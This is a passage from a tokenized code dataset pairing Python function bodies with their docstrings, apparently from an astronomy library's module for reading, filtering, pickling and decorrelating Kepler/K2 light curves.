read_kepler_fitslc(matching[<NUM_LIT:0>],<EOL>headerkeys=headerkeys,<EOL>datakeys=datakeys,<EOL>sapkeys=sapkeys,<EOL>pdckeys=pdckeys,<EOL>topkeys=topkeys,<EOL>apkeys=apkeys,<EOL>normalize=normalize)<EOL>for lcf in matching:<EOL><INDENT>consolidated = read_kepler_fitslc(lcf,<EOL>appendto=consolidated,<EOL>headerkeys=headerkeys,<EOL>datakeys=datakeys,<EOL>sapkeys=sapkeys,<EOL>pdckeys=pdckeys,<EOL>topkeys=topkeys,<EOL>apkeys=apkeys,<EOL>normalize=normalize)<EOL><DEDENT>LOGINFO('<STR_LIT>')<EOL>finiteind = npisfinite(consolidated['<STR_LIT:time>'])<EOL>if npsum(finiteind) < consolidated['<STR_LIT:time>'].size:<EOL><INDENT>LOGWARNING('<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>')<EOL><DEDENT>column_sort_ind = npargsort(consolidated['<STR_LIT:time>'])<EOL>for col in consolidated['<STR_LIT>']:<EOL><INDENT>if '<STR_LIT:.>' in col:<EOL><INDENT>key, subkey = col.split('<STR_LIT:.>')<EOL>consolidated[key][subkey] = (<EOL>consolidated[key][subkey][column_sort_ind]<EOL>)<EOL><DEDENT>else:<EOL><INDENT>consolidated[col] = consolidated[col][column_sort_ind]<EOL><DEDENT><DEDENT>header_sort_ind = npargsort(consolidated['<STR_LIT>']).tolist()<EOL>for key in ('<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>'):<EOL><INDENT>consolidated[key] = (<EOL>nparray(consolidated[key])[header_sort_ind].tolist()<EOL>)<EOL><DEDENT>for key in ('<STR_LIT>','<STR_LIT>','<STR_LIT>','<STR_LIT>',<EOL>'<STR_LIT>','<STR_LIT>','<STR_LIT>',<EOL>'<STR_LIT>','<STR_LIT>','<STR_LIT>','<STR_LIT>','<STR_LIT>'):<EOL><INDENT>consolidated['<STR_LIT>'][key] = (<EOL>nparray(consolidated['<STR_LIT>'][key])[header_sort_ind].tolist()<EOL>)<EOL><DEDENT>for key in ('<STR_LIT>','<STR_LIT>','<STR_LIT>','<STR_LIT>','<STR_LIT>',<EOL>'<STR_LIT>','<STR_LIT>'):<EOL><INDENT>consolidated['<STR_LIT>'][key] = (<EOL>nparray(consolidated['<STR_LIT>'][key])[header_sort_ind].tolist()<EOL>)<EOL><DEDENT>return consolidated<EOL><DEDENT>else:<EOL><INDENT>LOGERROR('<STR_LIT>'<EOL>'<STR_LIT>' % (keplerid,<EOL>lcfitsdir))<EOL>return None<EOL><DEDENT>", "docstring": "This gets all Kepler/K2 light curves for the given `keplerid`\n    in `lcfitsdir`.\n\n    Searches recursively in `lcfitsdir` for all of the files belonging to the\n    specified `keplerid`. Sorts the light curves by time. Returns an\n    `lcdict`. This is meant to be used to consolidate light curves for a single\n    object across Kepler quarters.\n\n    NOTE: `keplerid` is an integer (without the leading zeros). This is usually\n    the KIC ID.\n\n    NOTE: if light curve time arrays contain `nans`, these and their associated\n    measurements will be sorted to the end of the final combined arrays.\n\n    Parameters\n    ----------\n\n    keplerid : int\n        The Kepler ID of the object to consolidate LCs for, as an integer\n        without any leading zeros. This is usually the KIC or EPIC ID.\n\n    lcfitsdir : str\n        The directory to look in for LCs of the specified object.\n\n    normalize : bool\n        If True, then each component light curve's SAP_FLUX and PDCSAP_FLUX\n        measurements will be normalized to 1.0 by dividing out the median flux\n        for the component light curve.\n\n    headerkeys : list\n        A list of FITS header keys that will be extracted from the FITS light\n        curve file. These describe the observations. The default value for this\n        is given in `LCHEADERKEYS` above.\n\n    datakeys : list\n        A list of FITS column names that correspond to the auxiliary\n        measurements in the light curve. The default is `LCDATAKEYS` above.\n\n    sapkeys : list\n        A list of FITS column names that correspond to the SAP flux\n        measurements in the light curve. The default is `LCSAPKEYS` above.\n\n    pdckeys : list\n        A list of FITS column names that correspond to the PDC flux\n        measurements in the light curve. The default is `LCPDCKEYS` above.\n\n    topkeys : list\n        A list of FITS header keys that describe the object in the light\n        curve. The default is `LCTOPKEYS` above.\n\n    apkeys : list\n        A list of FITS header keys that describe the flux measurement apertures\n        used by the Kepler/K2 pipeline. The default is `LCAPERTUREKEYS` above.\n\n    Returns\n    -------\n\n    lcdict\n        Returns an `lcdict` (this is useable by most astrobase functions for LC\n        processing).", "id": "f14766:m5"}
{"signature": "def read_k2sff_lightcurve(lcfits):", "body": "<EOL>hdulist = pyfits.open(lcfits)<EOL>lchdr, lcdata = hdulist[<NUM_LIT:1>].header, hdulist[<NUM_LIT:1>].data<EOL>lctophdr = hdulist[<NUM_LIT:0>].header<EOL>hdulist.close()<EOL>hdrinfo = {}<EOL>ndet = lchdr['<STR_LIT>']<EOL>for key in SFFTOPKEYS:<EOL><INDENT>if key in lctophdr and lctophdr[key] is not None:<EOL><INDENT>hdrinfo[key.lower()] = lctophdr[key]<EOL><DEDENT>else:<EOL><INDENT>hdrinfo[key.lower()] = None<EOL><DEDENT><DEDENT>for key in SFFHEADERKEYS:<EOL><INDENT>if key in lchdr and lchdr[key] is not None:<EOL><INDENT>hdrinfo[key.lower()] = lchdr[key]<EOL><DEDENT>else:<EOL><INDENT>hdrinfo[key.lower()] = None<EOL><DEDENT><DEDENT>lcdict = {<EOL>'<STR_LIT>':[hdrinfo['<STR_LIT>']],<EOL>'<STR_LIT>':[hdrinfo['<STR_LIT>']],<EOL>'<STR_LIT>':[hdrinfo['<STR_LIT>']],<EOL>'<STR_LIT>':[hdrinfo['<STR_LIT>']],<EOL>'<STR_LIT>':hdrinfo['<STR_LIT:object>'],<EOL>'<STR_LIT>':[hdrinfo['<STR_LIT>']],<EOL>'<STR_LIT>':{<EOL>'<STR_LIT>':[hdrinfo['<STR_LIT>']],<EOL>'<STR_LIT>':[hdrinfo['<STR_LIT>'] + hdrinfo['<STR_LIT>']],<EOL>'<STR_LIT>':[hdrinfo['<STR_LIT>']],<EOL>'<STR_LIT>':[hdrinfo['<STR_LIT>']],<EOL>'<STR_LIT>':[hdrinfo['<STR_LIT>']],<EOL>'<STR_LIT>':[hdrinfo['<STR_LIT>']],<EOL>'<STR_LIT>':[None],<EOL>'<STR_LIT>':[None],<EOL>'<STR_LIT>':[hdrinfo['<STR_LIT>']],<EOL>'<STR_LIT>':[hdrinfo['<STR_LIT>']],<EOL>'<STR_LIT>':[hdrinfo['<STR_LIT>']],<EOL>'<STR_LIT>':[hdrinfo['<STR_LIT>']],<EOL>'<STR_LIT>':[ndet],<EOL>},<EOL>'<STR_LIT>':{<EOL>'<STR_LIT>':hdrinfo['<STR_LIT>'],<EOL>'<STR_LIT>':hdrinfo['<STR_LIT>'],<EOL>'<STR_LIT>':hdrinfo['<STR_LIT>'],<EOL>'<STR_LIT>':hdrinfo['<STR_LIT>'],<EOL>'<STR_LIT>':hdrinfo['<STR_LIT>'],<EOL>'<STR_LIT>':hdrinfo['<STR_LIT>'],<EOL>'<STR_LIT>':hdrinfo['<STR_LIT>'],<EOL>'<STR_LIT>':hdrinfo['<STR_LIT>'],<EOL>'<STR_LIT>':hdrinfo['<STR_LIT>'],<EOL>'<STR_LIT>':hdrinfo['<STR_LIT>'],<EOL>'<STR_LIT>':hdrinfo['<STR_LIT>'],<EOL>'<STR_LIT>':hdrinfo['<STR_LIT>'],<EOL>'<STR_LIT>':hdrinfo['<STR_LIT>'],<EOL>'<STR_LIT>':hdrinfo['<STR_LIT>'],<EOL>'<STR_LIT>':hdrinfo['<STR_LIT>'],<EOL>'<STR_LIT>':hdrinfo['<STR_LIT>'],<EOL>'<STR_LIT>':hdrinfo['<STR_LIT>'],<EOL>'<STR_LIT>':hdrinfo['<STR_LIT>'],<EOL>},<EOL>'<STR_LIT>':{<EOL>'<STR_LIT>':[hdrinfo['<STR_LIT>']],<EOL>'<STR_LIT>':[hdrinfo['<STR_LIT>']],<EOL>'<STR_LIT>':[hdrinfo['<STR_LIT>']],<EOL>'<STR_LIT>':[hdrinfo['<STR_LIT>']],<EOL>'<STR_LIT>':[hdrinfo['<STR_LIT>']],<EOL>'<STR_LIT>':[hdrinfo['<STR_LIT>']],<EOL>'<STR_LIT>':[hdrinfo['<STR_LIT>']],<EOL>},<EOL>}<EOL>for key in SFFDATAKEYS:<EOL><INDENT>lcdict[key.lower()] = lcdata[key]<EOL><DEDENT>lcdict['<STR_LIT>'] = npfull_like(lcdict['<STR_LIT:t>'],<EOL>lcdict['<STR_LIT>']['<STR_LIT>'][<NUM_LIT:0>])<EOL>lcdict['<STR_LIT>'] = npfull_like(lcdict['<STR_LIT:t>'],<EOL>lcdict['<STR_LIT>']['<STR_LIT>'][<NUM_LIT:0>])<EOL>lcdict['<STR_LIT>'] = npfull_like(lcdict['<STR_LIT:t>'],<EOL>lcdict['<STR_LIT>']['<STR_LIT>'][<NUM_LIT:0>])<EOL>lcdict['<STR_LIT>'] = npfull_like(lcdict['<STR_LIT:t>'],<EOL>lcdict['<STR_LIT>']['<STR_LIT>'][<NUM_LIT:0>])<EOL>lcdict['<STR_LIT>'] = npfull_like(lcdict['<STR_LIT:t>'],<EOL>lcdict['<STR_LIT>'][<NUM_LIT:0>])<EOL>lcdict['<STR_LIT>'] = npfull_like(lcdict['<STR_LIT:t>'],<EOL>lcdict['<STR_LIT>'][<NUM_LIT:0>])<EOL>lcdict['<STR_LIT>'] = npfull_like(lcdict['<STR_LIT:t>'],<EOL>lcdict['<STR_LIT>'][<NUM_LIT:0>])<EOL>lcdict['<STR_LIT>'] = (<EOL>[x.lower() for x in SFFDATAKEYS] +<EOL>['<STR_LIT>','<STR_LIT>','<STR_LIT>','<STR_LIT>','<STR_LIT>','<STR_LIT>','<STR_LIT>']<EOL>)<EOL>return lcdict<EOL>", "docstring": "This reads a K2 SFF (Vandenberg+ 2014) light curve into an `lcdict`.\n\n    Use this with the light curves from the K2 SFF project at MAST.\n\n    Parameters\n    ----------\n\n    lcfits : str\n        The filename of the FITS light curve file downloaded from MAST.\n\n    Returns\n    -------\n\n    lcdict\n        Returns an `lcdict` (this is useable by most astrobase functions for LC\n        processing).", "id": "f14766:m6"}
{"signature": "def kepler_lcdict_to_pkl(lcdict, outfile=None):", "body": "if not outfile:<EOL><INDENT>outfile = '<STR_LIT>' % lcdict['<STR_LIT>'].replace('<STR_LIT:U+0020>','<STR_LIT:->')<EOL><DEDENT>with open(outfile,'<STR_LIT:wb>') as outfd:<EOL><INDENT>pickle.dump(lcdict, outfd, protocol=pickle.HIGHEST_PROTOCOL)<EOL><DEDENT>return os.path.abspath(outfile)<EOL>", "docstring": "This writes the `lcdict` to a Python pickle.\n\n    Parameters\n    ----------\n\n    lcdict : lcdict\n        This is the input `lcdict` to write to a pickle.\n\n    outfile : str or None\n        If this is None, the object's Kepler ID/EPIC ID will determined from the\n        `lcdict` and used to form the filename of the output pickle file. If\n        this is a `str`, the provided filename will be used.\n\n    Returns\n    -------\n\n    str\n        The absolute path to the written pickle file.", "id": "f14766:m7"}
{"signature": "def read_kepler_pklc(picklefile):", "body": "if picklefile.endswith('<STR_LIT>'):<EOL><INDENT>infd = gzip.open(picklefile, '<STR_LIT:rb>')<EOL><DEDENT>else:<EOL><INDENT>infd = open(picklefile, '<STR_LIT:rb>')<EOL><DEDENT>try:<EOL><INDENT>with infd:<EOL><INDENT>lcdict = pickle.load(infd)<EOL><DEDENT><DEDENT>except UnicodeDecodeError:<EOL><INDENT>with open(picklefile,'<STR_LIT:rb>') as infd:<EOL><INDENT>lcdict = pickle.load(infd, encoding='<STR_LIT>')<EOL><DEDENT>LOGWARNING('<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>' % picklefile)<EOL><DEDENT>return lcdict<EOL>", "docstring": "This turns the pickled lightcurve file back into an `lcdict`.\n\n    Parameters\n    ----------\n\n    picklefile : str\n        The path to a previously written Kepler LC picklefile generated by\n        `kepler_lcdict_to_pkl` above.\n\n    Returns\n    -------\n\n    lcdict\n        Returns an `lcdict` (this is useable by most astrobase functions for LC\n        processing).", "id": "f14766:m8"}
{"signature": "def stitch_kepler_lcdict(lcdict):", "body": "", "docstring": "This stitches Kepler light curves together across quarters.\n\n    FIXME: implement this.\n\n    Parameters\n    ----------\n\n    lcdict : lcdict\n        An `lcdict` produced by `consolidate_kepler_fitslc`. The flux\n        measurements between quarters will be stitched together.\n\n    Returns\n    -------\n\n    lcdict\n        Returns an `lcdict` (this is useable by most astrobase functions for LC\n        processing). The flux measurements will have been shifted to form a\n        seamless light curve across quarters suitable for long-term variability\n        investigation.", "id": "f14766:m9"}
{"signature": "def filter_kepler_lcdict(lcdict,<EOL>filterflags=True,<EOL>nanfilter='<STR_LIT>',<EOL>timestoignore=None):", "body": "cols = lcdict['<STR_LIT>']<EOL>if filterflags:<EOL><INDENT>nbefore = lcdict['<STR_LIT:time>'].size<EOL>filterind = lcdict['<STR_LIT>'] == <NUM_LIT:0><EOL>for col in cols:<EOL><INDENT>if '<STR_LIT:.>' in col:<EOL><INDENT>key, subkey = col.split('<STR_LIT:.>')<EOL>lcdict[key][subkey] = lcdict[key][subkey][filterind]<EOL><DEDENT>else:<EOL><INDENT>lcdict[col] = lcdict[col][filterind]<EOL><DEDENT><DEDENT>nafter = lcdict['<STR_LIT:time>'].size<EOL>LOGINFO('<STR_LIT>'<EOL>% (nbefore, nafter))<EOL><DEDENT>if nanfilter and nanfilter == '<STR_LIT>':<EOL><INDENT>notnanind = (<EOL>npisfinite(lcdict['<STR_LIT>']['<STR_LIT>']) &<EOL>npisfinite(lcdict['<STR_LIT>']['<STR_LIT>']) &<EOL>npisfinite(lcdict['<STR_LIT:time>'])<EOL>)<EOL><DEDENT>elif nanfilter and nanfilter == '<STR_LIT>':<EOL><INDENT>notnanind = (<EOL>npisfinite(lcdict['<STR_LIT>']['<STR_LIT>']) &<EOL>npisfinite(lcdict['<STR_LIT:time>'])<EOL>)<EOL><DEDENT>elif nanfilter and nanfilter == '<STR_LIT>':<EOL><INDENT>notnanind = (<EOL>npisfinite(lcdict['<STR_LIT>']['<STR_LIT>']) &<EOL>npisfinite(lcdict['<STR_LIT:time>'])<EOL>)<EOL><DEDENT>if nanfilter:<EOL><INDENT>nbefore = lcdict['<STR_LIT:time>'].size<EOL>for col in cols:<EOL><INDENT>if '<STR_LIT:.>' in col:<EOL><INDENT>key, subkey = col.split('<STR_LIT:.>')<EOL>lcdict[key][subkey] = lcdict[key][subkey][notnanind]<EOL><DEDENT>else:<EOL><INDENT>lcdict[col] = lcdict[col][notnanind]<EOL><DEDENT><DEDENT>nafter = lcdict['<STR_LIT:time>'].size<EOL>LOGINFO('<STR_LIT>'<EOL>% (nbefore, nafter))<EOL><DEDENT>if (timestoignore and<EOL>isinstance(timestoignore, list) and<EOL>len(timestoignore) > <NUM_LIT:0>):<EOL><INDENT>exclind = npfull_like(lcdict['<STR_LIT:time>'], True, dtype=np.bool_)<EOL>nbefore = exclind.size<EOL>for ignoretime in timestoignore:<EOL><INDENT>time0, time1 = ignoretime[<NUM_LIT:0>], ignoretime[<NUM_LIT:1>]<EOL>thismask = ~((lcdict['<STR_LIT:time>'] >= time0) & (lcdict['<STR_LIT:time>'] <= time1))<EOL>exclind = exclind & thismask<EOL><DEDENT>for col in cols:<EOL><INDENT>if '<STR_LIT:.>' in col:<EOL><INDENT>key, subkey = col.split('<STR_LIT:.>')<EOL>lcdict[key][subkey] = lcdict[key][subkey][exclind]<EOL><DEDENT>else:<EOL><INDENT>lcdict[col] = lcdict[col][exclind]<EOL><DEDENT><DEDENT>nafter = lcdict['<STR_LIT:time>'].size<EOL>LOGINFO('<STR_LIT>'<EOL>% (nbefore, nafter))<EOL><DEDENT>return lcdict<EOL>", "docstring": "This filters the Kepler `lcdict`, removing nans and bad\n    observations.\n\n    By default, this function removes points in the Kepler LC that have ANY\n    quality flags set.\n\n    Parameters\n    ----------\n\n    lcdict : lcdict\n        An `lcdict` produced by `consolidate_kepler_fitslc` or\n        `read_kepler_fitslc`.\n\n    filterflags : bool\n        If True, will remove any measurements that have non-zero quality flags\n        present. This usually indicates an issue with the instrument or\n        spacecraft.\n\n    nanfilter : {'sap','pdc','sap,pdc'}\n        Indicates the flux measurement type(s) to apply the filtering to.\n\n    timestoignore : list of tuples or None\n        This is of the form::\n\n            [(time1_start, time1_end), (time2_start, time2_end), ...]\n\n        and indicates the start and end times to mask out of the final\n        lcdict. Use this to remove anything that wasn't caught by the quality\n        flags.\n\n    Returns\n    -------\n\n    lcdict\n        Returns an `lcdict` (this is useable by most astrobase functions for LC\n        processing). The `lcdict` is filtered IN PLACE!", "id": "f14766:m10"}
{"signature": "def _epd_function(coeffs, fluxes, xcc, ycc, bgv, bge):", "body": "epdf = (<EOL>coeffs[<NUM_LIT:0>] +<EOL>coeffs[<NUM_LIT:1>]*npsin(<NUM_LIT:2>*MPI*xcc) + coeffs[<NUM_LIT:2>]*npcos(<NUM_LIT:2>*MPI*xcc) +<EOL>coeffs[<NUM_LIT:3>]*npsin(<NUM_LIT:2>*MPI*ycc) + coeffs[<NUM_LIT:4>]*npcos(<NUM_LIT:2>*MPI*ycc) +<EOL>coeffs[<NUM_LIT:5>]*npsin(<NUM_LIT:4>*MPI*xcc) + coeffs[<NUM_LIT:6>]*npcos(<NUM_LIT:4>*MPI*xcc) +<EOL>coeffs[<NUM_LIT:7>]*npsin(<NUM_LIT:4>*MPI*ycc) + coeffs[<NUM_LIT:8>]*npcos(<NUM_LIT:4>*MPI*ycc) +<EOL>coeffs[<NUM_LIT:9>]*bgv +<EOL>coeffs[<NUM_LIT:10>]*bge<EOL>)<EOL>return epdf<EOL>", "docstring": "This is the EPD function to fit.\n\n    Parameters\n    ----------\n\n    coeffs : array-like of floats\n        Contains the EPD coefficients that will be used to generate the EPD fit\n        function.\n\n    fluxes : array-like\n        The flux measurement array being used.\n\n    xcc,ycc : array-like\n        Arrays of the x and y coordinates associated with each measurement in\n        `fluxes`.\n\n    bgv,bge : array-like\n        Arrays of the flux background value and the flux background error\n        associated with each measurement in `fluxes`.\n\n    Returns\n    -------\n\n    np.array\n        Contains the fit function evaluated at each flux measurement value.", "id": "f14766:m11"}
{"signature": "def _epd_residual(coeffs, fluxes, xcc, ycc, bgv, bge):", "body": "f = _epd_function(coeffs, fluxes, xcc, ycc, bgv, bge)<EOL>residual = fluxes - f<EOL>return residual<EOL>", "docstring": "This is the residual function to minimize using scipy.optimize.leastsq.\n\n    Parameters\n    ----------\n\n    coeffs : array-like of floats\n        Contains the EPD coefficients that will be used to generate the EPD fit\n        function.\n\n    fluxes : array-like\n        The flux measurement array being used.\n\n    xcc,ycc : array-like\n        Arrays of the x and y coordinates associated with each measurement in\n        `fluxes`.\n\n    bgv,bge : array-like\n        Arrays of the flux background value and the flux background error\n        associated with each measurement in `fluxes`.\n\n    Returns\n    -------\n\n    np.array\n        Contains the fit function residual evaluated at each flux measurement\n        value.", "id": "f14766:m12"}
{"signature": "def epd_kepler_lightcurve(lcdict,<EOL>xccol='<STR_LIT>',<EOL>yccol='<STR_LIT>',<EOL>timestoignore=None,<EOL>filterflags=True,<EOL>writetodict=True,<EOL>epdsmooth=<NUM_LIT:5>):", "body": "times, fluxes, background, background_err = (lcdict['<STR_LIT:time>'],<EOL>lcdict['<STR_LIT>']['<STR_LIT>'],<EOL>lcdict['<STR_LIT>']['<STR_LIT>'],<EOL>lcdict['<STR_LIT>']['<STR_LIT>'])<EOL>xcc = lcdict[xccol]<EOL>ycc = lcdict[yccol]<EOL>flags = lcdict['<STR_LIT>']<EOL>if filterflags:<EOL><INDENT>nbefore = times.size<EOL>filterind = flags == <NUM_LIT:0><EOL>times = times[filterind]<EOL>fluxes = fluxes[filterind]<EOL>background = background[filterind]<EOL>background_err = background_err[filterind]<EOL>xcc = xcc[filterind]<EOL>ycc = ycc[filterind]<EOL>flags = flags[filterind]<EOL>nafter = times.size<EOL>LOGINFO('<STR_LIT>'<EOL>% (nbefore, nafter))<EOL><DEDENT>find = (npisfinite(xcc) & npisfinite(ycc) &<EOL>npisfinite(times) & npisfinite(fluxes) &<EOL>npisfinite(background) & npisfinite(background_err))<EOL>nbefore = times.size<EOL>times = times[find]<EOL>fluxes = fluxes[find]<EOL>background = background[find]<EOL>background_err = background_err[find]<EOL>xcc = xcc[find]<EOL>ycc = ycc[find]<EOL>flags = flags[find]<EOL>nafter = times.size<EOL>LOGINFO('<STR_LIT>'<EOL>% (nbefore, nafter))<EOL>if (timestoignore and<EOL>isinstance(timestoignore, list) and<EOL>len(timestoignore) > <NUM_LIT:0>):<EOL><INDENT>exclind = npfull_like(times,True)<EOL>nbefore = times.size<EOL>for ignoretime in timestoignore:<EOL><INDENT>time0, time1 = ignoretime[<NUM_LIT:0>], ignoretime[<NUM_LIT:1>]<EOL>thismask = (times > time0) & (times < time1)<EOL>exclind = exclind & thismask<EOL><DEDENT>times = times[exclind]<EOL>fluxes = fluxes[exclind]<EOL>background = background[exclind]<EOL>background_err = background_err[exclind]<EOL>xcc = xcc[exclind]<EOL>ycc = ycc[exclind]<EOL>flags = flags[exclind]<EOL>nafter = times.size<EOL>LOGINFO('<STR_LIT>'<EOL>% (nbefore, nafter))<EOL><DEDENT>smoothedfluxes = median_filter(fluxes, size=epdsmooth)<EOL>initcoeffs = npones(<NUM_LIT:11>)<EOL>leastsqfit = leastsq(_epd_residual,<EOL>initcoeffs,<EOL>args=(smoothedfluxes,<EOL>xcc, ycc,<EOL>background, background_err))<EOL>if leastsqfit[-<NUM_LIT:1>] in (<NUM_LIT:1>,<NUM_LIT:2>,<NUM_LIT:3>,<NUM_LIT:4>):<EOL><INDENT>fitcoeffs = leastsqfit[<NUM_LIT:0>]<EOL>epdfit = _epd_function(fitcoeffs,<EOL>fluxes,<EOL>xcc,<EOL>ycc,<EOL>background,<EOL>background_err)<EOL>epdfluxes = npmedian(fluxes) + fluxes - epdfit<EOL>if writetodict:<EOL><INDENT>lcdict['<STR_LIT>'] = {}<EOL>lcdict['<STR_LIT>']['<STR_LIT:time>'] = times<EOL>lcdict['<STR_LIT>']['<STR_LIT>'] = fluxes<EOL>lcdict['<STR_LIT>']['<STR_LIT>'] = epdfluxes<EOL>lcdict['<STR_LIT>']['<STR_LIT>'] = epdfit<EOL>lcdict['<STR_LIT>']['<STR_LIT>'] = background<EOL>lcdict['<STR_LIT>']['<STR_LIT>'] = background_err<EOL>lcdict['<STR_LIT>']['<STR_LIT>'] = xcc<EOL>lcdict['<STR_LIT>']['<STR_LIT>'] = ycc<EOL>lcdict['<STR_LIT>']['<STR_LIT>'] = flags<EOL>for newcol in ['<STR_LIT>','<STR_LIT>',<EOL>'<STR_LIT>','<STR_LIT>',<EOL>'<STR_LIT>','<STR_LIT>',<EOL>'<STR_LIT>','<STR_LIT>',<EOL>'<STR_LIT>']:<EOL><INDENT>if newcol not in lcdict['<STR_LIT>']:<EOL><INDENT>lcdict['<STR_LIT>'].append(newcol)<EOL><DEDENT><DEDENT><DEDENT>return times, epdfluxes, fitcoeffs, epdfit<EOL><DEDENT>else:<EOL><INDENT>LOGERROR('<STR_LIT>')<EOL>return None, None, None, None<EOL><DEDENT>", "docstring": "This runs EPD on the Kepler light curve.\n\n    Following Huang et al. 2015, we fit the following EPD function to a smoothed\n    light curve, and then subtract it to obtain EPD corrected magnitudes::\n\n        f = c0 +\n            c1*sin(2*pi*x) + c2*cos(2*pi*x) + c3*sin(2*pi*y) + c4*cos(2*pi*y) +\n            c5*sin(4*pi*x) + c6*cos(4*pi*x) + c7*sin(4*pi*y) + c8*cos(4*pi*y) +\n            c9*bgv + c10*bge\n\n    By default, this function removes points in the Kepler LC that have ANY\n    quality flags set.\n\n    Parameters\n    ----------\n\n    lcdict : lcdict\n        An `lcdict` produced by `consolidate_kepler_fitslc` or\n        `read_kepler_fitslc`.\n\n    xcol,ycol : str\n        Indicates the x and y coordinate column names to use from the Kepler LC\n        in the EPD fit.\n\n    timestoignore : list of tuples\n        This is of the form::\n\n            [(time1_start, time1_end), (time2_start, time2_end), ...]\n\n        and indicates the start and end times to mask out of the final\n        lcdict. Use this to remove anything that wasn't caught by the quality\n        flags.\n\n    filterflags : bool\n        If True, will remove any measurements that have non-zero quality flags\n        present. This usually indicates an issue with the instrument or\n        spacecraft.\n\n    writetodict : bool\n        If writetodict is True, adds the following columns to the lcdict::\n\n            epd_time = time array\n            epd_sapflux = uncorrected flux before EPD\n            epd_epdsapflux = corrected flux after EPD\n            epd_epdsapcorr = EPD flux corrections\n            epd_bkg = background array\n            epd_bkg_err = background errors array\n            epd_xcc = xcoord array\n            epd_ycc = ycoord array\n            epd_quality = quality flag array\n\n        and updates the 'columns' list in the lcdict as well.\n\n    epdsmooth : int\n        Sets the number of light curve points to smooth over when generating the\n        EPD fit function.\n\n    Returns\n    -------\n\n    tuple\n        Returns a tuple of the form: (times, epdfluxes, fitcoeffs, epdfit)", "id": "f14766:m13"}
{"signature": "def rfepd_kepler_lightcurve(<EOL>lcdict,<EOL>xccol='<STR_LIT>',<EOL>yccol='<STR_LIT>',<EOL>timestoignore=None,<EOL>filterflags=True,<EOL>writetodict=True,<EOL>epdsmooth=<NUM_LIT>,<EOL>decorr='<STR_LIT>',<EOL>nrftrees=<NUM_LIT:200><EOL>):", "body": "times, fluxes, background, background_err = (<EOL>lcdict['<STR_LIT:time>'],<EOL>lcdict['<STR_LIT>']['<STR_LIT>'],<EOL>lcdict['<STR_LIT>']['<STR_LIT>'],<EOL>lcdict['<STR_LIT>']['<STR_LIT>']<EOL>)<EOL>xcc = lcdict[xccol]<EOL>ycc = lcdict[yccol]<EOL>flags = lcdict['<STR_LIT>']<EOL>if filterflags:<EOL><INDENT>nbefore = times.size<EOL>filterind = flags == <NUM_LIT:0><EOL>times = times[filterind]<EOL>fluxes = fluxes[filterind]<EOL>background = background[filterind]<EOL>background_err = background_err[filterind]<EOL>xcc = xcc[filterind]<EOL>ycc = ycc[filterind]<EOL>flags = flags[filterind]<EOL>nafter = times.size<EOL>LOGINFO('<STR_LIT>'<EOL>'<STR_LIT>'<EOL>% (nbefore, nafter))<EOL><DEDENT>find = (npisfinite(xcc) & npisfinite(ycc) &<EOL>npisfinite(times) & npisfinite(fluxes) &<EOL>npisfinite(background) & npisfinite(background_err))<EOL>nbefore = times.size<EOL>times = times[find]<EOL>fluxes = fluxes[find]<EOL>background = background[find]<EOL>background_err = background_err[find]<EOL>xcc = xcc[find]<EOL>ycc = ycc[find]<EOL>flags = flags[find]<EOL>nafter = times.size<EOL>LOGINFO('<STR_LIT>'<EOL>% (nbefore, nafter))<EOL>if (timestoignore and<EOL>isinstance(timestoignore, list) and<EOL>len(timestoignore) > <NUM_LIT:0>):<EOL><INDENT>exclind = npfull_like(times,True)<EOL>nbefore = times.size<EOL>for ignoretime in timestoignore:<EOL><INDENT>time0, time1 = ignoretime[<NUM_LIT:0>], ignoretime[<NUM_LIT:1>]<EOL>thismask = (times > time0) & (times < time1)<EOL>exclind = exclind & thismask<EOL><DEDENT>times = times[exclind]<EOL>fluxes = fluxes[exclind]<EOL>background = background[exclind]<EOL>background_err = background_err[exclind]<EOL>xcc = xcc[exclind]<EOL>ycc = ycc[exclind]<EOL>flags = flags[exclind]<EOL>nafter = times.size<EOL>LOGINFO('<STR_LIT>'<EOL>% (nbefore, nafter))<EOL><DEDENT>RFR = RandomForestRegressor(n_estimators=nrftrees)<EOL>if decorr == '<STR_LIT>':<EOL><INDENT>features = npcolumn_stack((xcc,ycc,background,background_err))<EOL><DEDENT>elif decorr == '<STR_LIT>':<EOL><INDENT>features = npcolumn_stack((xcc,ycc))<EOL><DEDENT>elif decorr == '<STR_LIT>':<EOL><INDENT>features = npcolumn_stack((background,background_err))<EOL><DEDENT>else:<EOL><INDENT>LOGERROR(\"<STR_LIT>\")<EOL>return None<EOL><DEDENT>if epdsmooth:<EOL><INDENT>smoothedfluxes = median_filter(fluxes, size=epdsmooth)<EOL><DEDENT>else:<EOL><INDENT>smoothedfluxes = fluxes<EOL><DEDENT>RFR.fit(features, smoothedfluxes)<EOL>flux_corrections = RFR.predict(features)<EOL>corrected_fluxes = npmedian(fluxes) + fluxes - flux_corrections<EOL>del RFR<EOL>if writetodict:<EOL><INDENT>lcdict['<STR_LIT>'] = {}<EOL>lcdict['<STR_LIT>']['<STR_LIT:time>'] = times<EOL>lcdict['<STR_LIT>']['<STR_LIT>'] = fluxes<EOL>lcdict['<STR_LIT>']['<STR_LIT>'] = corrected_fluxes<EOL>lcdict['<STR_LIT>']['<STR_LIT>'] = flux_corrections<EOL>lcdict['<STR_LIT>']['<STR_LIT>'] = background<EOL>lcdict['<STR_LIT>']['<STR_LIT>'] = background_err<EOL>lcdict['<STR_LIT>']['<STR_LIT>'] = xcc<EOL>lcdict['<STR_LIT>']['<STR_LIT>'] = ycc<EOL>lcdict['<STR_LIT>']['<STR_LIT>'] = flags<EOL>for newcol in ['<STR_LIT>','<STR_LIT>',<EOL>'<STR_LIT>','<STR_LIT>',<EOL>'<STR_LIT>','<STR_LIT>',<EOL>'<STR_LIT>','<STR_LIT>',<EOL>'<STR_LIT>']:<EOL><INDENT>if newcol not in lcdict['<STR_LIT>']:<EOL><INDENT>lcdict['<STR_LIT>'].append(newcol)<EOL><DEDENT><DEDENT><DEDENT>return times, corrected_fluxes, flux_corrections<EOL>", "docstring": "This uses a `RandomForestRegressor` to fit and decorrelate Kepler light\n    curves.\n\n    Fits the X and Y positions, the background, and background error.\n\n    By default, this function removes points in the Kepler LC that have ANY\n    quality flags set.\n\n    Parameters\n    ----------\n\n    lcdict : lcdict\n        An `lcdict` produced by `consolidate_kepler_fitslc` or\n        `read_kepler_fitslc`.\n\n    xcol,ycol : str\n        Indicates the x and y coordinate column names to use from the Kepler LC\n        in the EPD 